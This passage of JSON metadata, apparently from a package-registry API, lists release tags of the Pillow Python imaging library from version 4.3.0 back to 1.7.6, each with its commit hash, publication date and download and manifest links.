Pillow/tags/4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.3.0/manifests"},{"name":"4.2.1","sha":"bbde1fe6826f642d2a5967edb6c9816f8d82b8e9","kind":"commit","published_at":"2017-07-06T14:28:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.1/manifests"},{"name":"4.2.0","sha":"acb19d8e45699bf961604e48b28002b099250ddd","kind":"commit","published_at":"2017-07-01T12:46:24.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.0/manifests"},{"name":"4.1.1","sha":"2b4486a588bfa2bbf9ecc8dae51282d81fa5d668","kind":"commit","published_at":"2017-04-28T15:42:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.1/manifests"},{"name":"4.1.0","sha":"38eff7400426de4b1a0b0d3e88c552d695c89252","kind":"commit","published_at":"2017-04-04T18:10:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.0/manifests"},{"name":"4.0.0a","sha":"3f6db91ccc917e803227d245e38871169f08350f","kind":"commit","published_at":"2017-01-02T11:45:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.0.0a","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.0.0a","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.0.0a","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0a","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0a/manifests"},{"name":"4.0.0","sha":"a021d4978dd96371557f21c7b68feff2056a6e9b","kind":"commit","published_at":"2017-01-01T20:20:06.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0/manifests"},{"name":"3.4.2","sha":"1161d2054899ba2d9955870ad425553e7f0884ac","kind":"commit","published_at":"2016-10-17T08:35:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.2/manifests"},{"name":"3.4.1","sha":"2e1a3c29aa3f8191d56cc7d91e9b220fab2a8cb8","kind":"commit","published_at":"2016-10-04T14:11:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.1/manifests"},{"name":"3.3.3","sha":"b28c176817d340b2fa1bf9741a33f4dc3da4d382","kind":"commit","published_at":"2016-10-04T14:07:02.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.3","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.3/manifests"},{"name":"3.4.0","sha":"ac5a212cee478f7f1448080d47c2c9daa29e297f","kind":"commit","published_at":"2016-10-03T15:00:29.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.0/manifests"},{"name":"3.3.2","sha":"9cf752a6979606cf2ce325174c7c129380fb313f","kind":"commit","published_at":"2016-09-30T13:55:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.2/manifests"},{"name":"3.3.1","sha":"aab33141f381d5577cdef9033b7fdff79122a10c","kind":"commit","published_at":"2016-08-17T20:35:58.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.1/manifests"},{"name":"3.3.0","sha":"4f4c98222914353470336ab7288c1f1876b4b2b7","kind":"commit","published_at":"2016-07-01T12:57:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.0/manifests"},{"name":"3.1.2","sha":"acf1c8559b720ec29f2438d7fb652e0dcf6cb0fb","kind":"commit","published_at":"2016-04-01T12:27:31.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.2/manifests"},{"name":"3.2.0","sha":"344cb709ed0111adcc6ad47cc007507c3f5efeb3","kind":"commit","published_at":"2016-04-01T12:17:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.2.0/manifests"},{"name":"3.1.1","sha":"eb72bf86fb867841f8a9e192e43e511bf4618709","kind":"commit","published_at":"2016-02-04T16:17:58.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.1/manifests"},{"name":"3.1.0","sha":"fff5536b37c2d619c66c1189b6925fa0a8df3822","kind":"commit","published_at":"2016-01-04T10:04:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0/manifests"},{"name":"3.1.0-rc1","sha":"0f9f5cd8db3365dca23b1b2490dbccf819a07b5c","kind":"commit","published_at":"2016-01-01T16:00:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.0-rc1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0-rc1/manifests"},{"name":"3.0.0","sha":"0177cceac4adfd0020ecbf49fb44ad275dcc1f51","kind":"commit","published_at":"2015-10-01T20:39:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.0.0/manifests"},{"name":"2.9.0","sha":"80672b61e8596c7d6dab7b4ef3ef1e4783902f51","kind":"commit","published_at":"2015-07-01T18:33:56.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0/manifests"},{"name":"2.9.0.dev2","sha":"445a8c06fce647249e6a832f595fcdfff1743ad0","kind":"commit","published_at":"2015-06-30T12:04:35.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0.dev2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev2/manifests"},{"name":"2.9.0.dev1","sha":"96944e2dd664efb98e25d0e86671420af26fda40","kind":"commit","published_at":"2015-06-29T12:57:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0.dev1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev1/manifests"},{"name":"2.9.0.dev0","sha":"efe925c26f4fb78613b5ed98d488f71a723d03e8","kind":"commit","published_at":"2015-06-28T19:07:01.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0.dev0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev0/manifests"},{"name":"2.8.2","sha":"0222a059d62723fe056daa17f007f87dc46595b4","kind":"commit","published_at":"2015-06-06T23:52:13.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.2/manifests"},{"name":"2.8.1","sha":"3f09b8f1715b018e8249337f1432070301c61e18","kind":"commit","published_at":"2015-04-02T14:59:03.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.1/manifests"},{"name":"2.8.0","sha":"d754598f146f868e8cd7d247b3af6cf3f3c8d510","kind":"commit","published_at":"2015-04-01T19:39:41.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"0f05eb287a223ce106848cd048cfcb45e9faa565","kind":"commit","published_at":"2015-01-01T04:42:57.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.7.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.7.0/manifests"},{"name":"2.6.2","sha":"9f0ec3b0d7637e04fa735d7dfb94464301b02c1e","kind":"commit","published_at":"2015-01-01T04:11:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.2/manifests"},{"name":"2.6.1","sha":"4a8471dea18f6196161e4444ce5625f46cecd1e1","kind":"commit","published_at":"2014-10-13T17:13:17.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.1/manifests"},{"name":"2.6.0","sha":"9634e437efeeda906ad6bfcc275b17732d64f32a","kind":"commit","published_at":"2014-10-01T16:59:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0/manifests"},{"name":"2.6.0-rc1","sha":"81ebc21abfdd9d152f05d8516b17efba26e4d5b7","kind":"commit","published_at":"2014-09-29T20:14:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.0-rc1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0-rc1/manifests"},{"name":"2.5.3","sha":"68c6904c280ad872620cc8d904e6d4e6ecc5b6f9","kind":"commit","published_at":"2014-08-14T22:38:52.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.3","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.3/manifests"},{"name":"2.3.2","sha":"30529a02793354453971e874be0e78d554d770d9","kind":"commit","published_at":"2014-08-12T18:48:14.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.2/manifests"},{"name":"2.5.2","sha":"4081f9f6a504c9d3b83237fafdecf2be042976a8","kind":"commit","published_at":"2014-08-12T18:44:56.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.2/manifests"},{"name":"2.5.1","sha":"1ab78b8fb7e1f7078dd110bc8d9fba3cc0006e51","kind":"commit","published_at":"2014-07-10T21:54:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.1/manifests"},{"name":"2.5.0","sha":"80d6137c860b9322572ee1390514df1975acb2e7","kind":"commit","published_at":"2014-07-01T22:39:40.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"72de37caada5d9ff7c657ce5f4ad6f8a6a3870f0","kind":"commit","published_at":"2014-04-01T22:31:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.4.0/manifests"},{"name":"2.3.1","sha":"b8d4895bd5c41fce88a8ad436672bd8033414797","kind":"commit","published_at":"2014-03-14T23:44:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.1/manifests"},{"name":"2.3.0","sha":"b1b88cf4d255c4b9faf1dae05faaa78091268cb1","kind":"commit","published_at":"2014-01-01T21:10:13.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.0/manifests"},{"name":"2.2.2","sha":"72e54e1c53478a173b7e51b5703348453d5a19d4","kind":"commit","published_at":"2013-12-11T23:05:54.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.2/manifests"},{"name":"2.2.1","sha":"3c2496e117f4d045a99d7e376133e67b47217ce2","kind":"commit","published_at":"2013-10-02T17:07:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.1/manifests"},{"name":"2.2.0","sha":"9b0bc48d26b021ba40bbf1aaf6291ef664f9d083","kind":"commit","published_at":"2013-10-02T11:18:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"75af7e00db304ed34557c856c609d10ecf44d49c","kind":"commit","published_at":"2013-07-02T12:52:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.1.0/manifests"},{"name":"2.0.0","sha":"baea361b9a29e9a1dfa5a9b8e11bc9624a9cee46","kind":"commit","published_at":"2013-03-15T12:59:50.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.0.0/manifests"},{"name":"1.7.8","sha":"4a10a363e4a220149f7efbf109ac5bf0d1d85b35","kind":"commit","published_at":"2012-11-01T21:09:46.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.8","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.8/manifests"},{"name":"1.7.7","sha":"aaac591549807d183ec8855e5f86bd4584411a87","kind":"commit","published_at":"2012-04-05T01:15:07.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.7","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.7/manifests"},{"name":"1.7.6","sha":"3af55ff06f74711112c0c5b05a9ef1cd3eb58b7d","kind":"tag","published_at":"2012-01-21T00:58:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.6","